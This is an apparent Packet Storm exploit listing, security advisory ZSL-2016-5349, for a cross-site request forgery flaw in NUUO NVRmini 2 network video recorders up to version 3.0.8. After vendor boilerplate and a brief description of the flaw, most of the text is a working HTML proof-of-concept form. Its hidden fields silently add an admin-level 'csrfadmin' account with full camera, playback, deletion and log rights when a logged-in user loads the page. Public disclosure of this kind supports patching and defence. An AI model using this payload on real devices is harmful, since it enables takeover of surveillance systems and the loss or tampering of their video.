NUUO 3.0.8 Add Admin Cross Site Request Forgery

Type packetstorm
Reporter LiquidWorm
Modified 2016-08-06T00:00:00


NUUO CSRF Add Admin Exploit  
Vendor: NUUO Inc.  
Product web page:  
Affected version: <=3.0.8 (NE-4160, NT-4040)  
Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS  
functionality. Setup is simple and easy, with automatic port forwarding  
settings built in. NVRmini 2 supports POS integration, making this the perfect  
solution for small retail chain stores. NVRmini 2 also comes full equipped as  
a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping  
and RAID functions for data protection. Choose NVR and know that your valuable video  
data is safe, always.  
Desc: The application interface allows users to perform certain actions via HTTP  
requests without performing any validity checks to verify the requests. This can be  
exploited to perform certain actions with administrative privileges if a logged-in  
user visits a malicious web site.  
Tested on: GNU/Linux 3.0.8 (armv7l)  
GNU/Linux (armv5tel)  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Advisory ID: ZSL-2016-5349  
Advisory URL:  
<!-- 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 -->  
<form action="">  
<input type="hidden" name="_password2" value="admin" />  
<input type="hidden" name="addusername" value="csrfadmin" />  
<input type="hidden" name="password" value="admin" />  
<input type="hidden" name="cmd" value="adduser" />  
<input type="hidden" name="group" value="poweruser" />  
<input type="hidden" name="displaygroup" value="power user" />  
<input type="hidden" name="magic" value="574" />  
<input type="hidden" name="liveacc" value="1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16" />  
<input type="hidden" name="pbacc" value="1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16" />  
<input type="hidden" name="ptzacc" value="1" />  
<input type="hidden" name="ioacc" value="1" />  
<input type="hidden" name="backupacc" value="1" />  
<input type="hidden" name="deleteacc" value="1" />  
<input type="hidden" name="emapeacc" value="1" />  
<input type="hidden" name="remotalkacc" value="1" />  
<input type="hidden" name="logacc" value="1" />  
<input type="submit" value="Submit request" />